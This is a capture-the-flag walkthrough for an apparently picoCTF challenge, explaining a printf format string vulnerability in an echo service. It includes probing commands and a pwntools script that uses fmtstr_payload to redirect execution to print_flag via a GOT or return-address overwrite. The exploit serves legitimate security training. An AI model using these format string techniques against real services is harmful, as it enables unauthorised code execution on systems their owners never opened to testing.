Description
The secure echo service welcomes you politely, but unsafe formatting still leaks control. Download `vuln` and `vuln.c`, then turn the echo back against itself.
Setup
Download vuln and its source code.
Read the source to understand how it echoes input.
cat vuln.c
chmod +x vuln
Solution
- Step 1Confirm the format string vulnerabilityThe service passes user input directly to printf() without a format specifier. Probe with %p to confirm you can leak stack values, then identify the offset to the return address.cat vuln.cecho '%p.%p.%p.%p.%p' | ./vulnpython3 -c "from pwn import *; print(cyclic(100).decode())"
- Step 2Find the address of print_flag()Use objdump or pwntools to find the address of the print_flag() function -- the function that reads and prints the flag.objdump -d vuln | grep print_flagpython3 -c "from pwn import *; e = ELF('./vuln'); print(hex(e.sym['print_flag']))"
- Step 3Build the format string payload to overwrite the return addressUse pwntools' fmtstr_payload() to generate a format string that overwrites the saved return address on the stack with the address of print_flag(). Send 'exit' or an empty line to trigger the function return.python3 << 'EOF' from pwn import * e = ELF("./vuln") p = remote("<HOST>", <PORT_FROM_INSTANCE>) # Find the offset: position of the input buffer on the stack relative to printf offset = 6 # determine with fmtstr_brute or manual probing print_flag = e.sym["print_flag"] payload = fmtstr_payload(offset, {e.got["printf"]: print_flag}) # Or: overwrite return address directly # payload = fmtstr_payload(offset, {ret_addr: print_flag}) p.sendlineafter(b"> ", payload) p.sendlineafter(b"> ", b"exit") # trigger return print(p.recvall()) EOF
- Step 4Read the flagAfter the format string overwrites the return address (or a GOT entry) with print_flag(), the server prints the flag when the function returns.
Flag
picoCTF{3ch0_3sc4p3_1_...}
The echo service has printf(buf) -- a format string vulnerability. Use pwntools' fmtstr_payload() to overwrite the return address or a GOT entry with the address of print_flag(), then send 'exit' to trigger it.